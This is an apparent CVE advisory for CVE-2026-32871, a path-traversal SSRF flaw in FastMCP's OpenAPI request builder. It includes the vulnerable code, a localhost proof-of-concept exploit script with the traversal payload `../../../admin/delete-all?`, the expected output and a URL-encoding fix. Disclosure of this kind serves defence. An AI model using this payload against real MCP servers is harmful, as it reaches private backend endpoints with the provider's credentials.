CVE-2026-32871 — Vulnerability in fastmcp — CVE Details

## Technical Description The `OpenAPIProvider` in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The `RequestDirector` class is responsible for constructing HTTP requests to the backend service. A critical vulnerability exists in the `_build_url()` method. When an OpenAPI operation defines path parameters (e.g., `/api/v1/users/{user_id}`), the system directly substitutes parameter values into the URL template string **without URL-encoding**. Subsequently, `urllib.parse.urljoin()` resolves the final URL. Since `urljoin()` interprets `../` sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in **authenticated SSRF**, as requests are sent with the authorization headers configured in the MCP provider. --- ## Vulnerable Code **File:** `fastmcp/utilities/openapi/director.py` ```python def _build_url( self, path_template: str, path_params: dict[str, Any], base_url: str ) -> str: # Direct string substitution without encoding url_path = path_template for param_name, param_value in path_params.items(): placeholder = f"{{{param_name}}}" if placeholder in url_path: url_path = url_path.replace(placeholder, str(param_value)) # urljoin resolves ../ escape sequences return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/")) ``` ### Root Cause 1. Path parameters are substituted directly without URL encoding 2. `urllib.parse.urljoin()` interprets `../` as directory traversal 3. No validation prevents traversal sequences in parameter values 4. Requests inherit the authentication context of the MCP provider --- ## Proof of Concept ### Step 1: Backend API Setup Create `internal_api.py` to simulate a vulnerable backend server: ```python from fastapi import FastAPI, Header, HTTPException import uvicorn app = FastAPI() @app.get("/api/v1/users/{user_id}/profile") def get_profile(user_id: str): return {"status": "success", "user": user_id} @app.get("/admin/delete-all") def admin_endpoint(authorization: str = Header(None)): if authorization == "Bearer admin_secret": return {"status": "CRITICAL", "message": "Administrative access granted"} raise HTTPException(status_code=401) if __name__ == "__main__": uvicorn.run(app, host="127.0.0.1", port=8080) ``` ### Step 2: Exploitation Script Create `exploit_poc.py`: ```python import asyncio import httpx from fastmcp.utilities.openapi.director import RequestDirector async def exploit_ssrf(): # Initialize vulnerable component director = RequestDirector(spec={}) base_url = "http://127.0.0.1:8080/" template = "/api/v1/users/{id}/profile" # Payload: Path traversal to reach /admin/delete-all # The '?' character neutralizes the rest of the original template payload = "../../../admin/delete-all?" # Construct malicious URL malicious_url = director._build_url(template, {"id": payload}, base_url) print(f"[*] Generated URL: {malicious_url}") async with httpx.AsyncClient() as client: # Request inherits MCP provider's authorization headers response = await client.get( malicious_url, headers={"Authorization": "Bearer admin_secret"} ) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") if __name__ == "__main__": asyncio.run(exploit_ssrf()) ``` ### Expected Output ``` [*] Generated URL: http://127.0.0.1:8080/admin/delete-all? [+] Status Code: 200 [+] Response: {"status": "CRITICAL", "message": "Administrative access granted"} ``` The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials. --- ## Impact Assessment ### Severity Justification - **Unauthorized Access**: Attackers can interact with private endpoints not exposed in the OpenAPI specification - **Privilege Escalation**: The attacker operates within the MCP provider's security context and credentials - **Authentication Bypass**: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented - **Data Exfiltration**: Sensitive internal APIs can be accessed and exploited - **Lateral Movement**: Internal-only services may be compromised from the network boundary ### Attack Scenarios 1. **Accessing Admin Panels**: Bypass API restrictions to reach administrative endpoints 2. **Data Theft**: Access internal databases or sensitive information endpoints 3. **Service Disruption**: Trigger destructive operations on backend services 4. **Credential Extraction**: Access endpoints returning API keys, tokens, or credentials --- ## Remediation ### Recommended Fix URL-encode all path parameter values **before** substitution to ensure reserved characters (`/`, `.`, `?`, `#`) are treated as literal data, not path delimiters. **Updated code for `_build_url()` method:** ```python import urllib.parse def _build_url( self, path_template: str, path_params: dict[str, Any], base_url: str ) -> str: url_path = path_template for param_name, param_value in path_params.items(): placeholder = f"{{{param_name}}}" if placeholder in url_path: # Apply safe URL encoding to prevent traversal attacks # safe="" ensures ALL special characters are encoded safe_value = urllib.parse.quote(str(param_value), safe="") url_path = url_path.replace(placeholder, safe_value) return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/")) ```